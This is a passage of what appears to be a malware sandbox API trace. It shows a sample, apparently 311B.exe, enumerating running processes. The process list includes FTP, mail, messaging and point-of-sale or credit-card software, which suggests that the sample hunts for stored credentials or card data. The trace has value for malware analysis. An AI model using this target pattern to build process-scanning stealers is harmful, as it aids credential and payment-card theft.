th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0227.181] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0227.182] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0227.184] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0227.186] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0227.188] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0227.190] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0227.192] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0227.194] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0227.270] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0227.272] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0227.273] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0227.275] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0227.276] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0227.278] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0227.279] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0227.281] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0227.282] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0227.284] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0227.285] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0227.287] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0227.288] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0227.289] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0227.291] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0227.292] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0227.293] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0227.295] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0227.296] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0227.298] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0227.299] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0227.301] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0227.302] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0227.304] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0227.305] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0227.306] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0227.308] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0227.347] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0227.349] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0227.351] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0227.353] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0227.354] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0227.356] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0227.357] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0227.359] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0227.361] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0227.363] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0227.364] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0227.366] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0227.367] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0227.369] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0227.371] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0227.372] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0227.374] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0227.376] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0227.378] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0227.380] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0227.381] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0227.383] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0227.385] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0227.386] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0227.388] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0227.389] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0227.391] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0227.443] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0227.445] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0227.448] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0227.450] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0227.452] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0227.454] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0227.457] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0227.459] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0227.461] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0227.463] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0227.465] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0227.467] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0227.469] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0227.471] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0227.473] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0227.475] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0227.477] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0227.479] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0227.520] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0227.522] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0227.524] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 0 [0227.526] CloseHandle (hObject=0x15f0) returned 1 [0227.526] Sleep 